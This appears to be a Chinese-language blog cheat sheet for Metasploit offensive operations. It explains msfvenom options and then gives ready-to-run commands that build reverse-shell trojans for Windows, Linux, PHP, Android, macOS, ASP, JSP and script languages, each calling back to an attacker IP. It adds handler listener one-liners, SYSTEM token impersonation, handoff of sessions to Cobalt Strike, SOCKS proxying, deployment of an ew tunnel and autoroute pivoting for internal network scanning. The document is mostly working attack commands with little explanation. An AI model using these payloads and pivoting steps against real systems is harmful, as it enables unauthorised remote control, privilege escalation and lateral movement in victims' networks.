msfconsole命令集


msfconsole命令集

0x01 参数

-p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的

-l,list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all

-n, –nopsled < length> 为payload预先指定一个NOP滑动长度

-f,format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)

-e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload

-a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64

–platform < platform> 指定payload的目标平台

-s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小

-b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0f''\x00';

-i, –iterations < count> 指定payload的编码次数

-c, –add-code < path> 指定一个附加的win32 shellcode文件

-x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中

-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行

–payload-options 列举payload的标准选项

-o, –out < path> 指定创建好的payload的存放位置

-v, –var-name < name> 指定一个自定义的变量,以确定输出格式

–shellest 最小化生成payload

-h,help 查看帮助选项

–help-formats 查看msf支持的输出格式列表

searchsploit找脚本的好方法

searchsploit -m [路径]
# searchsploit -m linux/remote/36742.txt

msf自带提权建议模块:

# 获得session后msf自带的提权建议模块
use post/multi/recon/local_exploit_suggester  
set session ……

0x02 生成木马文件

# window exe文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.201.149 LPORT=4445 -f exe -o mshell.exe

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST tun0
set LPORT  4445
exploit

# linux 64位elf文件
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.47.128 LPORT=4445 -f elf > mshell.elf

msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost tun0
set lport 4445
run

# PHP:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.20.27 LPORT=4445 -f raw -o mshell.php

msfconsole
use exploit/multi/handler
set  payload php/meterpreter/reverse_tcp
set lhost tun0
set lport 4445
run

# linux 32位elf文件
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=VPS的地址  LPORT=4445 -f elf > test.elf、

# 安卓app:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=4445 -o ~/Desktop/test.apk  

# Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.10.27 LPORT=4445 -f macho > mshell.macho

# ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=4445  -f asp > shell.asp

# ASPX:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=4445  -f  aspx > shell.aspx

#JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.10.27 LPORT=4445 -f  raw > shell.jsp

#Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.10.27 LPORT=4445 -f   raw > shell.sh

#Perl
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.10.27 LPORT=4445 -f raw > shell.pl

#Python
msfvenom -p python/meterpreter/reverser_tcp LHOST=192.168.10.27 LPORT=4445 -f   raw > shell.py

msf快速监听命令

# window版
msfconsole -qx 'use exploit/multi/handler;set lhost tun0;set lport 4445;set payload windows/meterpreter/reverse_tcp;run'

# linux版
msfconsole -qx 'use exploit/multi/handler;set lhost tun0;set lport 4445;set payload linux/x64/meterpreter/reverse_tcp;run'

0x03 msf内网提权

管理员权限提权system

# 窃取window system令牌,前提该账户在管理员
load incogito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

0x04 msf联动Cobalt Strike

在msf已经获得会话的前提下输入以下命令:

background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true   # payload_inject执行之后会在本地产生一个新的										handler,设置为true表示不重复生成
set lhost 192.168.201.149     # 公网vps ip
set lport 888                 # 监听端口 
set session 1                 # 派发session id
run

当然你得在cs中先设置一个新的监听器

要设置session id时先看看已经存在的id哪些是有效的,我本来设置session 2没有成功

这里看session2 好像是没有信息的,应该是不行的,所以改成session 1即可成功弹到cs中。

0x05 Cobalt Strike设置socket代理传递msf


对system权限的靶机右击设置socket代理:

视图查看代理转发,并点击隧道:

在msf中输入指令:

setg Proxies socks4:192.168.111.128:9050 
# MSF所有流量将走此代理
setg ReverseAllowProxy true
# 设置允许反向代理,即建立双向通道
# 如果通过此socks反弹shell,则需要开启,否则不推荐开启
unsetg Proxies
# 可以使用该命令停止

打开/etc/proxychain4.conf文件进行配置socks4代理

proxychains4 nmap -F -sT -Pn 10.10.10.1/24

但是用这种扫描实在太慢,还不如用cs的arp扫描来的快,仅仅记录一下。

0x05 ew上传内网隧道搭建,msf内网扫描

ew下载链接:GitHub - idlefire/ew: 内网穿透(跨平台)

使用命令

upload /root/tools/ew-master/ew_for_linux64 /home/ubuntu

并且设置socker5代理端口1080

ssh连接靶机,赋予权限以及命令;

cd /home/tmp
chmod 777 ew_for_linux64
nohup ./ew_for_linux64 -s ssocksd -l 1080 &
# 在后台启动 ew_for_linux64 程序,以服务器模式运行,并监听 1080 端口。即使关闭了终端,该程序也会继续运行

msf执行命令:

run autoroute -s 192.168.183.0/24
run autoroute -p
# 路由转发

MSF框架为渗透测试者提供了一个很好的跳板功能模块,这个模块可以添加一条转发路由,使攻击者能够到达内网中的其他机器。在配置路由转发时,需要确定目标主机所在的网段,然后在MSF框架中设置相应的路由规则。这些规则可以确保攻击者的流量能够正确地通过跳板机器,到达目标内网的其他部分。

开始扫描:

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.0-255
set threads 5
run

分别是192.168.183.130和192.168.183.140存活


文章作者: 矢坕
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 矢坕 !
  目录